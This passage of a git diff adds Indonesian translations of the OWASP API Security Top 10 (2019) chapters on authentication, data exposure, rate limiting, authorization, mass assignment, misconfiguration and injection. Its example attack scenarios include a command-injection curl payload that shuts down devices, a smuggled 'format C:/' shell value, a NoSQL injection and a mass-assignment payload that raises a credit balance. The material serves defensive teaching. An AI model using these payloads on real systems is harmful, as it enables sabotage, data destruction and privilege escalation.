bukan pilihan yang tepat untuk aplikasi web). | Penyerang dapat mengambil alih akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka, seperti transaksi uang dan mengirim pesan pribadi. | + +## Apakah API Rentan? + +Titik akhir dan alur otentikasi adalah aset yang perlu dilindungi. “Lupa kata sandi / reset kata sandi” harus diperlakukan sama seperti mekanisme otentikasi. + +API rentan jika: +* Mengizinkan [credential stuffing][1] di mana penyerang memiliki daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail otentikasi sensitif, seperti token otentikasi dan kata sandi di URL. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`"alg": "none"`) / tidak memvalidasi tanggal kedaluwarsa mereka. +* Menggunakan kata sandi teks polos, tidak dienkripsi, atau di-hash lemah. +* Menggunakan kunci enkripsi yang lemah. + +## Skenario Serangan Contoh + +## Skenario #1 + +[Credential stuffing][1] (menggunakan [daftar nama pengguna/kata sandi yang diketahui][2]), adalah serangan yang umum. Jika aplikasi tidak menerapkan ancaman otomatis atau perlindungan stuffing kredensial, aplikasi dapat digunakan sebagai oracle kata sandi (penguji) untuk menentukan apakah kredensial valid. + +## Skenario #2 + +Seorang penyerang memulai alur kerja pemulihan kata sandi dengan menerbitkan permintaan POST ke `/api/system/verification-codes` dan dengan menyediakan nama pengguna dalam body permintaan. Selanjutnya token SMS dengan 6 digit dikirim ke telepon korban. Karena API tidak menerapkan kebijakan pembatasan laju, penyerang dapat menguji semua kombinasi yang mungkin menggunakan skrip multi-thread, terhadap endpoint `/api/system/verification-codes/{smsToken}` untuk menemukan token yang benar dalam beberapa menit. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua kemungkinan alur untuk mengotentikasi ke API (mobile/web/tautan dalam yang mengimplementasikan otentikasi satu klik/dll.) +* Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Baca tentang mekanisme otentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan begitu juga kunci API. +* Jangan menemukan kembali roda dalam otentikasi, generasi token, penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti titik akhir login dalam hal brute force, pembatasan laju, dan perlindungan penguncian. +* Gunakan [OWASP Authentication Cheatsheet][3]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi stuffing kredensial, serangan kamus, dan serangan brute force pada titik akhir otentikasi Anda. Mekanisme ini harus lebih ketat daripada mekanisme pembatasan laju normal pada API Anda. +* Terapkan [penguncian akun][4] / mekanisme captcha untuk mencegah brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API seharusnya tidak digunakan untuk otentikasi pengguna, tetapi untuk [otentikasi aplikasi/proyek klien][5]. + +## Referensi + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Eksternal + +* [CWE-798: Penggunaan Kredensial Hard-coded][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html \ No newline at end of file diff --git a/editions/2019/id/0xa3-excessive-data-exposure.md b/editions/2019/id/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..3a75fcf15 --- /dev/null +++ b/editions/2019/id/0xa3-excessive-data-exposure.md @@ -0,0 +1,38 @@ +# API3:2019 Pemaparan Data yang Berlebihan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi Pemaparan Data Berlebihan sederhana, dan biasanya dilakukan dengan menyadap lalu lintas untuk menganalisis respon API, mencari pemaparan data sensitif yang seharusnya tidak dikembalikan ke pengguna. | API mengandalkan klien untuk melakukan penyaringan data. Karena API digunakan sebagai sumber data, terkadang pengembang mencoba mengimplementasikannya secara generik tanpa memikirkan sensitivitas data yang terpapar. Alat otomatis biasanya tidak dapat mendeteksi jenis kerentanan ini karena sulit membedakan antara data yang sah dikembalikan dari API, dan data sensitif yang tidak boleh dikembalikan tanpa pemahaman mendalam tentang aplikasi. | Pemaparan Data Berlebihan umumnya mengarah pada pemaparan data sensitif. | + +## Apakah API Rentan? + +API mengembalikan data sensitif ke klien berdasarkan desain. Data ini biasanya disaring di sisi klien sebelum ditampilkan ke pengguna. Penyerang dengan mudah dapat menyadap lalu lintas dan melihat data sensitif. + +## Skenario Serangan Contoh + +### Skenario #1 + +Tim seluler menggunakan endpoint `/api/articles/{articleId}/comments/{commentId}` dalam tampilan artikel untuk merender metadata komentar. Menyadap lalu lintas aplikasi seluler, seorang penyerang mengetahui bahwa data sensitif lain terkait penulis komentar juga dikembalikan. Implementasi endpoint menggunakan metode `toJSON()` generik pada model `User`, yang berisi PII, untuk men-serialisasi objek. + +### Skenario #2 + +Sistem pengawasan berbasis IOT memungkinkan administrator membuat pengguna dengan izin yang berbeda. Seorang admin membuat akun pengguna untuk satpam baru yang hanya boleh mengakses bangunan tertentu di situs tersebut. Setelah satpam menggunakan aplikasi selulernya, panggilan API dipicu ke: `/api/sites/111/cameras` untuk menerima data tentang kamera yang tersedia dan menampilkannya di dashboard. Respons berisi daftar dengan rincian tentang kamera dalam format berikut: `{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. Meskipun GUI klien hanya menampilkan kamera yang seharusnya satpam ini akses, respons API aktual berisi daftar lengkap semua kamera di situs. + +## Cara Mencegah + +* Jangan pernah mengandalkan sisi klien untuk menyaring data sensitif. +* Tinjau respon dari API untuk memastikan hanya berisi data yang sah. +* Insinyur backend harus selalu bertanya pada diri sendiri "siapa konsumen data ini?" sebelum memaparkan endpoint API baru. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti spesifik yang benar-benar ingin Anda kembalikan. +* Klasifikasikan informasi sensitif dan pribadi (PII) yang disimpan dan dikelola aplikasi Anda, meninjau semua panggilan API yang mengembalikan informasi tersebut untuk melihat apakah respons ini menimbulkan masalah keamanan. +* Implementasikan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API, termasuk kesalahan. + + +## Referensi + +### Eksternal + +* [CWE-213: Pemaparan Informasi yang Disengaja][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html \ No newline at end of file diff --git a/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..57e98a72b --- /dev/null +++ b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,66 @@ +# API4:2019 Kurangnya Sumber Daya & Pembatasan Laju + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi memerlukan permintaan API sederhana. Tidak ada otentikasi yang diperlukan. Beberapa permintaan secara bersamaan dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. | Umum ditemukan API yang tidak menerapkan pembatasan laju atau API di mana batas tidak ditetapkan dengan benar. | Eksploitasi dapat mengarah ke DoS, membuat API tidak responsif atau bahkan tidak tersedia. | + +## Apakah API Rentan? + +Permintaan API mengonsumsi sumber daya seperti jaringan, CPU, memori, dan penyimpanan. Jumlah sumber daya yang diperlukan untuk memenuhi permintaan sangat bergantung pada input pengguna dan logika bisnis endpoint. Juga, pertimbangkan fakta bahwa permintaan dari beberapa klien API bersaing untuk sumber daya. API rentan jika setidaknya satu dari batasan berikut hilang atau disetel secara tidak tepat (misalnya, terlalu rendah/tinggi): + +* Batas waktu eksekusi +* Memori maksimum yang dapat dialokasikan +* Jumlah deskriptor berkas +* Jumlah proses +* Ukuran muatan permintaan (misalnya, unggahan) +* Jumlah permintaan per klien/sumber daya +* Jumlah catatan per halaman untuk dikembalikan dalam satu respons permintaan + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang mengunggah gambar besar dengan menerbitkan permintaan POST ke `/api/v1/images`. Saat unggahan selesai, API membuat beberapa thumbnail dengan ukuran yang berbeda. Karena ukuran gambar yang diunggah, memori yang tersedia habis selama pembuatan thumbnail dan API menjadi tidak responsif. + +### Skenario #2 + +Kami memiliki aplikasi yang berisi daftar pengguna di UI dengan batas `200` pengguna per halaman. Daftar pengguna diambil dari server menggunakan kueri berikut: `/api/users?page=1&size=200`. Seorang penyerang mengubah parameter `size` menjadi `200.000`, menyebabkan masalah kinerja pada basis data. Sementara itu, API menjadi tidak responsif dan tidak dapat menangani permintaan lebih lanjut dari klien ini atau klien lainnya (alias DoS). + +Skenario yang sama dapat digunakan untuk memancing kesalahan Integer Overflow atau Buffer Overflow. + +## Cara Mencegah + +* Docker memudahkan untuk membatasi [memori][1], [CPU][2], [jumlah restart][3], [deskriptor berkas, dan proses][4]. +* Terapkan batas seberapa sering klien dapat memanggil API dalam rentang waktu tertentu. +* Beri tahu klien saat batas terlampaui dengan menyediakan nomor batas dan waktu saat batas akan direset. +* Tambahkan validasi server-side yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons. +* Tentukan dan tegakkan ukuran maksimum data pada semua parameter dan muatan masukan seperti panjang maksimum untuk string dan jumlah elemen maksimum dalam array. + + +## Referensi + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### Eksternal + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf \ No newline at end of file diff --git a/editions/2019/id/0xa5-broken-function-level-authorization.md b/editions/2019/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..77830cacd --- /dev/null +++ b/editions/2019/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,64 @@ +# API5:2019 Otorisasi Tingkat Fungsi yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak mereka akses. Endpoint ini mungkin terbuka untuk pengguna anonim atau pengguna reguler non-istimewa. Lebih mudah menemukan celah ini di API karena API lebih terstruktur, dan cara mengakses fungsi tertentu lebih dapat diprediksi (misalnya, mengganti metode HTTP dari GET ke PUT, atau mengubah string “users” di URL menjadi "admins"). | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi, dan terkadang di tingkat kode. Mengimplementasikan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan, karena aplikasi modern dapat berisi banyak jenis peran atau kelompok dan hirarki pengguna yang kompleks (misalnya, sub-pengguna, pengguna dengan lebih dari satu peran). | Celah seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam terhadap mekanisme otorisasi, dengan mempertimbangkan hirarki pengguna, peran atau kelompok yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya, pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak mereka akses dengan hanya mengubah metode HTTP (misalnya, dari `GET` ke `DELETE`)? +* Apakah pengguna dari kelompok X dapat mengakses fungsi yang seharusnya hanya diekspos ke pengguna dari kelompok Y, dengan hanya menebak URL dan parameter endpoint (misalnya, `/api/v1/users/export_all`)? + +Jangan menganggap endpoint API adalah reguler atau administratif hanya berdasarkan jalur URL. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di bawah jalur relatif tertentu, seperti `api/admins`, sangat umum menemukan endpoint administratif ini di bawah jalur relatif lain bersama dengan endpoint reguler, seperti `api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran ke aplikasi yang hanya mengizinkan pengguna diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi JSON dengan rincian undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin, yang tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah ini dan mengirim undangan ke dirinya sendiri untuk membuat akun admin: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya diekspos ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan rincian semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API membuat tebakan terdidik dan berhasil mengakses endpoint ini, yang mengekspos rincian sensitif pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan tersebut disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, membutuhkan izin eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap celah otorisasi tingkat fungsi, dengan mempertimbangkan logika bisnis aplikasi dan hirarki kelompok. +* Pastikan semua pengendali administrasi Anda mewarisi pengendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Artikel OWASP tentang Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Bab tentang Otorisasi][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file diff --git a/editions/2019/id/0xa6-mass-assignment.md b/editions/2019/id/0xa6-mass-assignment.md new file mode 100644 index 000000000..99ffb848e --- /dev/null +++ b/editions/2019/id/0xa6-mass-assignment.md @@ -0,0 +1,63 @@ +# API6:2019 - Mass Assignment + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi biasanya memerlukan pemahaman tentang logika bisnis, hubungan objek, dan struktur API. Eksploitasi penugasan massal lebih mudah dalam API, karena secara desain mereka mengekspos implementasi aplikasi yang mendasari beserta nama properti. | Kerangka kerja modern mendorong pengembang untuk menggunakan fungsi yang secara otomatis mengikat masukan dari klien ke dalam variabel kode dan objek internal. Penyerang dapat menggunakan metodologi ini untuk memperbarui atau menimpa properti objek sensitif yang sebenarnya tidak dimaksudkan untuk diekspos oleh pengembang. | Eksploitasi dapat menyebabkan eskalasi hak istimewa, perusakan data, menghindari mekanisme keamanan, dan lainnya. | + +## Apakah API Rentan? + +Objek dalam aplikasi modern mungkin berisi banyak properti. Beberapa properti ini harus diperbarui langsung oleh klien (misalnya, `user.first_name` atau `user.address`) dan beberapa tidak boleh (misalnya, flag `user.is_vip`). + +Titik akhir API rentan jika secara otomatis mengubah parameter klien menjadi properti objek internal, tanpa mempertimbangkan sensitivitas dan tingkat paparan properti tersebut. Hal ini bisa memungkinkan penyerang untuk memperbarui properti objek yang seharusnya tidak mereka akses. + +Contoh properti sensitif: + +* **Properti terkait izin**: `user.is_admin`, `user.is_vip` hanya boleh diatur oleh admin. +* **Properti tergantung proses**: `user.cash` hanya boleh diatur secara internal setelah verifikasi pembayaran. +* **Properti internal**: `article.created_time` hanya boleh diatur secara internal oleh aplikasi. + +## Skenario Serangan Contoh + +### Skenario #1 + +Aplikasi berbagi tumpangan memberi pengguna opsi untuk mengedit informasi dasar untuk profil mereka. Selama proses ini, panggilan API dikirim ke `PUT /api/v1/users/me` dengan objek JSON yang sah: + +```json +{"user_name":"inons","age":24} +``` + +Permintaan `GET /api/v1/users/me` menyertakan properti credit_balance tambahan: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +Penyerang memutar ulang permintaan pertama dengan payload berikut: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Karena endpoint rentan terhadap penugasan massal, penyerang menerima kredit tanpa membayar. + +### Skenario #2 + +Portal berbagi video memungkinkan pengguna mengunggah konten dan mengunduh konten dalam format yang berbeda. Seorang penyerang yang menjelajahi API menemukan bahwa endpoint `GET /api/v1/videos/{video_id}/meta_data` mengembalikan objek JSON dengan properti video. Salah satu propertinya adalah `"mp4_conversion_params":"-v codec h264"` yang menunjukkan bahwa aplikasi menggunakan perintah shell untuk mengubah video. + +Penyerang juga menemukan endpoint `POST /api/v1/videos/new` rentan terhadap penugasan massal dan memungkinkan klien mengatur properti apa pun dari objek video. Penyerang menetapkan nilai berbahaya sebagai berikut: `"mp4_conversion_params":"-v codec h264 && format C:/"`. Nilai ini akan menyebabkan injeksi perintah shell setelah penyerang mengunduh video sebagai MP4. + +## Cara Mencegah + +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat masukan klien ke dalam variabel kode atau objek internal. +* Daftar putih hanya properti yang seharusnya diperbarui oleh klien. +* Gunakan fitur bawaan untuk daftar hitam properti yang tidak boleh diakses oleh klien. +* Jika berlaku, tentukan dan tegakkan secara eksplisit skema untuk muatan data masukan. + +## Referensi + +### Eksternal + +* [CWE-915: Pengontrolan yang Tidak Tepat dari Modifikasi Atribut Objek yang Ditentukan Secara Dinamis][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file diff --git a/editions/2019/id/0xa7-security-misconfiguration.md b/editions/2019/id/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..2dd28665b --- /dev/null +++ b/editions/2019/id/0xa7-security-misconfiguration.md @@ -0,0 +1,80 @@ +# API7:2019 Kesalahan Konfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Penyerang sering mencoba menemukan celah yang tidak diperbarui, endpoint umum, atau file dan direktori yang tidak dilindungi untuk mendapatkan akses yang tidak sah atau pengetahuan tentang sistem. | Kesalahan konfigurasi keamanan dapat terjadi pada setiap level tumpukan API, dari level jaringan hingga level aplikasi. Alat otomatis tersedia untuk mendeteksi dan memanfaatkan kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya dapat mengekspos data pengguna yang sensitif, tetapi juga rincian sistem yang dapat mengarah ke kompromi server penuh. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Pengerasan keamanan yang tepat hilang di bagian mana pun dari tumpukan aplikasi, atau jika memiliki izin yang dikonfigurasi dengan salah pada layanan cloud. +* Perbaikan keamanan terbaru hilang, atau sistemnya sudah ketinggalan zaman. +* Fitur yang tidak perlu diaktifkan (misalnya, kata kerja HTTP). +* Keamanan Lapisan Transport (TLS) hilang. +* Direktif keamanan tidak dikirim ke klien (misalnya, [Security Headers][1]). +* Kebijakan Berbagi Sumber Daya Lintas Asal (CORS) hilang atau disetel dengan salah. +* Pesan kesalahan termasuk jejak tumpukan, atau informasi sensitif lainnya terekspos. + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang menemukan file `.bash_history` di bawah direktori root server, yang berisi perintah yang digunakan oleh tim DevOps untuk mengakses API: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +Penyerang juga bisa menemukan endpoint baru pada API yang hanya digunakan oleh tim DevOps dan tidak didokumentasikan. + +### Skenario #2 + +Untuk menargetkan layanan tertentu, seorang penyerang menggunakan mesin pencari populer untuk mencari komputer yang dapat diakses langsung dari Internet. Penyerang menemukan host yang menjalankan sistem manajemen basis data populer, mendengarkan di port default. Host tersebut menggunakan konfigurasi default, yang secara default menonaktifkan otentikasi, dan penyerang mendapatkan akses ke jutaan catatan dengan PII, preferensi pribadi, dan data otentikasi. + +### Skenario #3 + +Memeriksa lalu lintas aplikasi seluler, penyerang mengetahui bahwa tidak semua lalu lintas HTTP dilakukan pada protokol aman (misalnya, TLS). Penyerang menemukan ini benar, khususnya untuk mengunduh gambar profil. Karena interaksi pengguna bersifat biner, meskipun lalu lintas API dilakukan pada protokol yang aman, penyerang menemukan pola pada ukuran respons API, yang dia gunakan untuk melacak preferensi pengguna atas konten yang dirender (misalnya, gambar profil). + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan yang dapat diulang yang mengarah ke penyebaran yang cepat dan mudah dari lingkungan yang dikunci dengan benar. +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh tumpukan API. Tinjauan harus mencakup: file orchestrasi, komponen API, dan layanan cloud (misalnya, izin bucket S3). +* Saluran komunikasi yang aman untuk semua interaksi akses API ke aset statis (misalnya, gambar). +* Proses otomatis untuk secara kontinu menilai efektivitas konfigurasi dan pengaturan di semua lingkungan. + +Selanjutnya: + +* Untuk mencegah jejak pengecualian dan informasi berharga lainnya dikirim kembali ke penyerang, jika berlaku, tentukan dan tegakkan semua skema muatan respons API termasuk respons kesalahan. +* Pastikan API hanya dapat diakses oleh kata kerja HTTP yang ditentukan. Semua kata kerja HTTP lainnya harus dinonaktifkan (misalnya, `HEAD`). +* API yang diharapkan dapat diakses dari klien berbasis browser (misalnya, front-end WebApp) harus menerapkan kebijakan Berbagi Sumber Daya Lintas Asal (CORS) yang tepat. + +## Referensi + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][4] +* [CWE-16: Konfigurasi][5] +* [CWE-388: Penanganan Kesalahan][6] +* [Panduan Keamanan Server Umum][7], NIST +* [Let’s Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) \ No newline at end of file diff --git a/editions/2019/id/0xa8-injection.md b/editions/2019/id/0xa8-injection.md new file mode 100644 index 000000000..09d232c53 --- /dev/null +++ b/editions/2019/id/0xa8-injection.md @@ -0,0 +1,88 @@ +# API8:2019 Injeksi + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **3** | Teknis **3** : Spesifik Bisnis | +| Penyerang akan memberi makan API dengan data berbahaya melalui vektor injeksi apa pun yang tersedia (misalnya, input langsung, parameter, layanan terintegrasi, dll.), berharap itu dikirim ke interpreter. | Celah injeksi sangat umum dan sering ditemukan dalam kueri SQL, LDAP, atau NoSQL, perintah OS, parser XML, dan ORM. Celah ini mudah ditemukan saat meninjau kode sumber. Penyerang dapat menggunakan scanner dan fuzzer. | Injeksi dapat menyebabkan pengungkapan informasi dan kehilangan data. Itu juga dapat menyebabkan DoS, atau pengambilalihan host secara total. | + +## Apakah API Rentan? + +API rentan terhadap celah injeksi jika: + +* Data yang disediakan klien tidak divalidasi, difilter, atau disucihamakan oleh API. +* Data yang disediakan klien digunakan langsung atau digabungkan ke kueri SQL/NoSQL/LDAP, perintah OS, parser XML, dan Pemetaan Objek Relasional (ORM)/Pemetaan Dokumen Objek (ODM). +* Data yang berasal dari sistem eksternal (misalnya, sistem terintegrasi) tidak divalidasi, difilter, atau disucihamakan oleh API. + +## Skenario Serangan Contoh + +### Skenario #1 + +Firmware dari perangkat kontrol orang tua menyediakan endpoint `/api/CONFIG/restore` yang mengharapkan appId dikirim sebagai parameter multipart. Menggunakan dekompiler, seorang penyerang mengetahui bahwa appId dilewatkan langsung ke panggilan sistem tanpa pembersihan apa pun: + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Perintah berikut memungkinkan penyerang mematikan perangkat mana pun dengan firmware yang sama yang rentan: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Skenario #2 + +Kami memiliki aplikasi dengan fungsionalitas CRUD dasar untuk operasi dengan pemesanan. Seorang penyerang berhasil mengidentifikasi bahwa injeksi NoSQL mungkin dimungkinkan melalui parameter string kueri `bookingId` dalam permintaan penghapusan pemesanan. Beginilah permintaannya: `DELETE /api/bookings?bookingId=678`. + +Server API menggunakan fungsi berikut untuk menangani permintaan penghapusan: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +Penyerang menyadap permintaan dan mengubah parameter string kueri `bookingId` seperti di bawah ini. Dalam hal ini, penyerang berhasil menghapus pemesanan pengguna lain: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Cara Mencegah + +Mencegah injeksi memerlukan pemisahan data dari perintah dan kueri. + +* Lakukan validasi data menggunakan satu pustaka yang tepercaya dan dikelola secara aktif. +* Validasi, filter, dan sucikan semua data yang disediakan klien, atau data lainnya yang berasal dari sistem terintegrasi. +* Karakter khusus harus dilepas menggunakan sintaks spesifik untuk interpreter tujuan. +* Lebih baik menggunakan API yang aman yang menyediakan antarmuka terparameter. +* Selalu batasi jumlah catatan yang dikembalikan untuk mencegah pengungkapan massal jika terjadi injeksi. +* Validasi data masuk menggunakan filter yang cukup untuk hanya mengizinkan nilai yang valid untuk setiap parameter input. +* Tentukan jenis data dan pola ketat untuk semua parameter string. + +## Referensi + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Eksternal + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html \ No newline at end of file diff --git a/editions/2019/id/0xa9-improper-assets-management.md b/editions/2019/id/0xa9-improper-assets-management.md new file mode 100644 index 000000000..ad0ac8f0a --- /dev/null +++ b/editions/2019/id/0xa9-improper-assets-management.md @@ -0,0 +1,53 @@ +# API9:2019 Pengelolaan Aset yang Tidak Tepat + 